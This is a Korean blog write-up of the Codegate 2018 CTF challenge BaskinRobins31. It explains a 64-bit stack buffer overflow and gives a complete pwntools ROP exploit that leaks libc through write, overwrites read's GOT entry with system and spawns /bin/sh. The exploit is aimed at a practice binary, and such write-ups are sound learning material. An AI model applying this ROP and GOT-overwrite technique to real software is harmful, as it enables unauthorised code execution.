write-up/pwnable

Codegate 2018 BaskinRobins31

범고래_1 2018. 8. 18. 02:42

첫 64비트 문제이다 !



바이너리를 실행하면 베스킨라빈스 게임을 시작한다(....)

그래서 문제 이름이 베스킨라빈스



취약점은 your_turn 함수에서 터진다. read함수 Xref기능으로 찾으니 순식간에 찾았다.

400바이트만큼 s에 받는데, s는 rbp로부터 0xB0바이트 (176 바이트) 떨어져있다.



까나리가 없고, NX가 걸려있으므로, 바로 조지면 된다.

시나리오는 아래와 같다.


1. read 함수로 bss에 "/bin/sh\x00" 받는다.

2. write 함수로 read함수 got를 릭한다.

3. libc 베이스 주소를 구하고, system함수 주소를 구한다.

4. read 함수로 read함수 got에 system함수를 쓴다.

5. read 함수를 호출하면 system함수가 호출된다.


그런데....

64비트이므로 익스가 약간 다르다.

32비트는 매개변수를 스택에서 가져오는데, 64비트는 레지스터에서 가져온다.

첫 번째 매개변수 : rdi

두 번째 매개변수 : rsi

세 번째 매개변수 : rdx


즉, pop rdi, pop rsi, pop rdx, ret 가젯주소를 구해놓고,

payload += p64(pop3ret)

payload += p64(0)

payload += p64(e.got['read'])

payload += p64(8)

payload += p64(e.plt['write'])


이렇게 하면 write함수가 호출되면서, read 함수의 got가 릭 되는 것이다.


나머지는 32비트랑 똑같다.


근데 꽤 삽질을 했는데,

ida에서는 문자열이 "Don't break the rules...:( "로 보였는데,

실제로는 끝에 개행이 붙어서 "Don't break the rules...:( \n"이었따...

그래서 엄청 헤멤. 앞으로는 바이너리 실행하면서 출력을 잘 확인하자....


from pwn import *
from time import *

context.terminal = ['tmux', 'splitw', '-h']
p = process('./BaskinRobins31')
#gdb.attach(p, 'b*0x0040097A')

#context.log_level = 'debug'

e = ELF('./BaskinRobins31', checksec=False)
libc = e.libc

binsh = "/bin/sh\x00"

pop3ret = 0x000000000040087a
poprdi = 0x0000000000400bc3

payload = "A"*184

# leak
payload += p64(pop3ret)
payload += p64(1)
payload += p64(e.got['read'])
payload += p64(8)
payload += p64(e.plt['write'])

# read binsh
payload += p64(pop3ret)
payload += p64(0)
payload += p64(e.bss())
payload += p64(len(binsh))
payload += p64(e.plt['read'])

# overwrite
payload += p64(pop3ret)
payload += p64(0)
payload += p64(e.got['read'])
payload += p64(8)
payload += p64(e.plt['read'])

payload += p64(poprdi)
payload += p64(e.bss())
payload += p64(e.plt['read'])

print p.recvuntil('How many numbers do you want to take ? (1-3)')
p.sendline(payload)
#p.interactive()
print p.recvuntil("Don't break the rules...:( \n")

leak = u64(p.recv(8))
print 'leak :', hex(leak)

libc.address = leak - libc.symbols['read']
print 'base :', hex(libc.address)

p.send(binsh)

#p.recv() # ???????????????????????????? what is this...

p.send(p64(libc.symbols['system']))
p.interactive()


'write-up > pwnable' 카테고리의 다른 글

PlaidCTF 2013 ropasaurusrex  (0) 2019.07.11
Codegate 2014 Nuclear  (0) 2018.08.14
Codegate 2014 Angrydoraemon  (0) 2018.08.09
Codegate 2017 babypwn  (0) 2018.08.09